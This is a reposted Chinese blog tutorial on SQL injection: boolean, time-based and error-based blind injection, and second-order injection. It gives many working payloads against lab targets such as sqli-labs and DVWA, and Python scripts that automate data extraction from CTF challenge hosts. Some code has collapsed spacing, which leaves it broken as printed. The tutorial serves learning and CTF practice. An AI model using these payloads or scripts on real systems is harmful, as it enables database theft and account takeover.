0


安全基础~通用漏洞2

文章目录

知识补充

盲注常用

if(条件,5,0)

#条件成立 返回5 反之 返回0

left(database(),1)

,database() #left(a,b)从左侧截取a的前b位

盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。
基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
-基于时间的SQL盲注-延时判断
if,sleep
-基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
参考:https://www.jianshu.com/p/bc35f8dd4f7c

PHP开发项目-输出结果&开启报错
基于延时:都不需要
/blog/news.php?id=1 and if(1=1,sleep(5),0)
基于布尔:有数据库输出判断标准
/blog/news.php?id=1 and length(database())=7
基于报错:有数据库报错处理判断标准
/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

Boolean盲注

仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False

在爆库名时,手工爆库可以使用二分法来确定

1' and ascii(substr(database(),1,1))>97 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值);
1'and ascii(substr(database(),1,1))<122#,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值);1' and ascii(substr(database(),1,1))<109 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 109(⼩写字母m的ascii值)
1'and ascii(substr(database(),1,1))<103#,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 103(⼩写字母g的ascii值);1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼩于100(⼩写字母d的ascii值);
1'and ascii(substr(database(),1,1))=100#,显⽰存在,说明数据库名的第⼀个字符的ascii值等于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。
重复以上步骤直到得出完整的数据库名dvwa
1' and ascii(substr(database(),n,1))>100......
这里以sqlabs靶场为例

通过length函数 判断数据库长度和数据表字段信息数量。
通过substr、ascii函数 判断数据库名、表名、字段值等。

求数据库的长度       
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database()) = 8 --+

判断数据库第一位的字母
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),1,1) = 's' --+

判断表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在
1'and(selectcount(table_name)from information_schema.tableswhere table_schema=database())=2# 显⽰存在

求数据库中表名的长度
第一个表名长度:'and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+
第二个表名长度 'and length((select table_name from information_schema.tableswhere table_schema='security'limit1,1))=8--+
长度为6、8

查询第一个表的第一位字符
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=117--+

查询第二个表的第一个字符
'and ascii(substr((select table_name from information_schema.tableswhere table_schema='security'limit1,1),1,1))=117--+

判断字段的长度
'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=6--+‘

猜解第一个字段名的第一个字符为:u
1'and ascii(substr((select column_name from information_schema.columnswhere table_name='users'limit0,1),1,1))=117#
判断第一个字段第二个字符的ascii:s
'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=115--+

猜解第二个字段名的第一个字符为:f
1'and ascii(substr((select column_name from information_schema.columnswhere table_name='users'limit1,1),1,1))=102#
猜解第二个字段名的第二个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=105 #

猜解 dvwa.users 表下的 user 列的第一个字段内容为:a
1'and ascii(substr((selectuserfrom dvwa.users limit0,1),1,1))=97# 
猜解 dvwa.users 表下的 user 列的第二个字段内容为:d
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=100 # 
猜解 dvwa.users 表下的 user 列的第三个字段内容为:m
1'and ascii(substr((selectuserfrom dvwa.users limit0,1),1,1))=109# # 暴力猜解
猜解 user 字段值是否为 admin
1' and (select count(*) from users where user = 'admin')=1#

延时盲注

判断返回正确还是错误,sleep延时注入更倾向于无法判断正误,通过自己构造页面刷新时间来判断正误。

可以结合 ><= 判断运算符,采用二分法,构造如下的语句,分别猜测试出8字符,比如,先用 >50判断,如果成立,再用<123 判断,如果不成立,则正确的值就在50-123之前,
这样不段的尝试最终用= 确定具体值。
?id=1’ andif((ascii(substr(database(),1,1))>50),sleep(3),1) – +
?id=1’ andif((ascii(substr(database(),1,1))<123),sleep(3),1) – +
?id=1’ andif((ascii(substr(database(),1,1))=115),sleep(3),1) – +
# 数据库个数and sleep(if((selectcount(SCHEMA_NAME)from information_schema.SCHEMATA)=7,0,5))       如果数据库总数等于7响应时间为0秒,如果不等于7 相应时间为5秒

# 数据库名长度' and sleep(if((length(database()) = 8),0,5))--+     //当前数据库名长度为8

# 猜解数据库名
'and sleep(if((ord(mid(database(),1,1))=115),0,5))--+    //ascii码115 就是 s# 获取该数据库中表的总数' and sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5))--+

# 枚举当前数据库的表名
1'and ascii(substr((select table_name from information_schema.tableswhere table_schema=database()limit a,1),m,1))>n and sleep(3)--+
或者利用if函数
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+

枚举当前数据库表的字段名

1'and ascii(substr((select column_name from information_schema.columnswhere table_name='users'limit a,1),m,1))>n and sleep(3)--+

枚举每个字段对应的数据项内容

1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3)--+

通常延时注入使用脚本进行,也可以使用sqlmap进行

import requests
 import sys
 import time
 
 session=requests.session()
 url ="http://challenge-e53e5a329b0199fa.sandbox.ctfhub.com:10080/?id="
 name =""for k inrange(1,10):for i inrange(1,10):print(i)for j inrange(31,128):
             j =(128+31)-j
             str_ascii=chr(j)#数据库名
             payolad ="if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))#表名#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))#字段名#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
             start_time=time.time()
             str_get = session.get(url=url + payolad)
             end_time = time.time()
             t = end_time - start_time
             if t >1:if str_ascii =="+":
                     sys.exit()else:
                     name+=str_ascii
                     breakprint(name)# #查询字段内容# for i in range(1,50):#     print(i)#     for j in range(31,128):#         j = (128+31) -j#         str_ascii=chr(j)#         payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)#         start_time = time.time()#         str_get = session.get(url=url + payolad)#         end_time = time.time()#         t = end_time - start_time#         if t > 1:#             if str_ascii == "+":#                 sys.exit()#             else:#                 name += str_ascii#                 break#     print(name)

脚本参考
讲解参考

报错注入

floor()

函数报错注入原理:

selsct count(*) ,floor(rand(0)*2)xx from products group by xx

随机种子时固定的,所以产生的随机数也是固定的,

floor(rand(0)*2

,结果为011011

group by key

执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,
如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果
该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算
rand 值)
简而言之,就是插入数据时,会再次出发rand()

爆出duplicate entry错误,就是1重复了。
such as
报错

①判断是否存在报错注入
id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#

②爆出当前数据库名
id=1'unionselectcount(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata groupby x #

③爆出表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
id=1'unionselectcount(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name)from information_schema.tableswhere table_schema='dvwa'limit1,1)) x from information_schema.schemata groupby x#

④爆出字段名
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
 改变limit限定数值,可以得出当前的字段 user_id first_name user password

⑤爆出user和password
id=1'unionselectcount(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password)from dvwa.users limit0,1)) x from information_schema.schemata groupby x#

SQL注入实战之报错注入

二次注入

堆叠注入:使用

;

执行多条语句,一般情况下不能够使用

攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到

SQL查询

语句所导致的注入。

两次注入

分别是

插入恶意数据

利用恶意数据

所以也就是满足这两个条件即可

  • 用户向数据库插入恶意数据,即使后端对语句做了转义,如mysql_escape_stringmysql_real_escape_string等函数<?php$item="Zak's Laptop";$escaped_item=mysql_escape_string($item);printf("Escaped string: %s\n",$escaped_item);?>// Escaped string: Zak\'s Laptop``````<?php// We didn't check $_POST['password'], it could be anything the user wanted! For example:$_POST['username']='aidan';$_POST['password']="' OR ''='";// Query database to check if there are any matching users$query="SELECT * FROM users WHERE user='{$_POST['username']}' AND password='{$_POST['password']}'";mysql_query($query);// This means the query sent to MySQL would be:echo$query;// SELECT * FROM users WHERE user='aidan' AND password='' OR ''=''?>
  • 数据库能够将恶意数据取出TEST1 注册账户那就去注册一下,这里直接注册admin’#TEST2 用注册的账号登录进去后发现可以修改密码。test3

修改密码的语句应该类似

update users set password='$new_pass'where username='$user'and password='$old_pass';

注册一个这样的账号 admin’# 上述sql语句就变成这样

update users set password='$new_pass'where username='admin'# and password='$old_pass';

语句原义被破坏,本来修改的是admin’# 用户的账号和密码,现在却是变成了直接修改admin用户的密码!

那就随便输入个密码12345修改后再拿它去尝试登录admin账户,发现成功登入。
test4

网鼎杯 2018Unfinish

源码与此非常相似:https://www.beesfun.com/2017/03/28/MySQL注入系列之二次注入-三/

随便注册一个进行测试
在源码中发现了username的出现,应该会是二次注入
test1

Mysql 字符串运算

select'1'+'2'# 3select'1'+database()+'0';#1select'0'+hex(database())+'0';#776562 -> web的16进制select'0'+ascii(substr(database(),1,1))+'0';#119 -> w的ascii码select'0'+ascii(substr(database()from1for1))+'0';##119 -> w的ascii码

使用爬虫将源码中的username爬取出来,源码过滤了

information

,

import requests
import time
from bs4 import BeautifulSoup

defget_flag():
    flag =''
    url ='http://759d93aa-53fb-4d2e-8f93-99833fbe0ff2.node5.buuoj.cn:81/'
    register_url = url +'register.php'
    login_url = url +'login.php'for i inrange(1,100):
        time.sleep(0.5)#  "username" : "0'+ascii(substr(database() from {} for 1))+'0".format(i) 爆数据库
        register_data ={"email":"abc{}@qq.com".format(i),"username":"0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i),"password":"12345"}
        login_data ={"email":"abc{}@qq.com".format(i),"password":"12345"}
        requests.post(register_url, data=register_data)
        response_login = requests.post(login_url, data=login_data)
        bs = BeautifulSoup(response_login.text,'html.parser') 
        username = bs.find('span', class_='user-name')# 取返回页面数据的span class=user-name属性
        number = username.text  
        flag +=chr(int(number))print("\r", end="")print(flag,end="")if __name__ =='__main__':
    get_flag()

参考文章
Xpath注入

标签: 安全 数据库

本文转载自: https://blog.csdn.net/qq_63792137/article/details/135773113
版权归原作者 `流年づ 所有, 如有侵权,请联系我们删除。

“安全基础~通用漏洞2”的评论:

还没有评论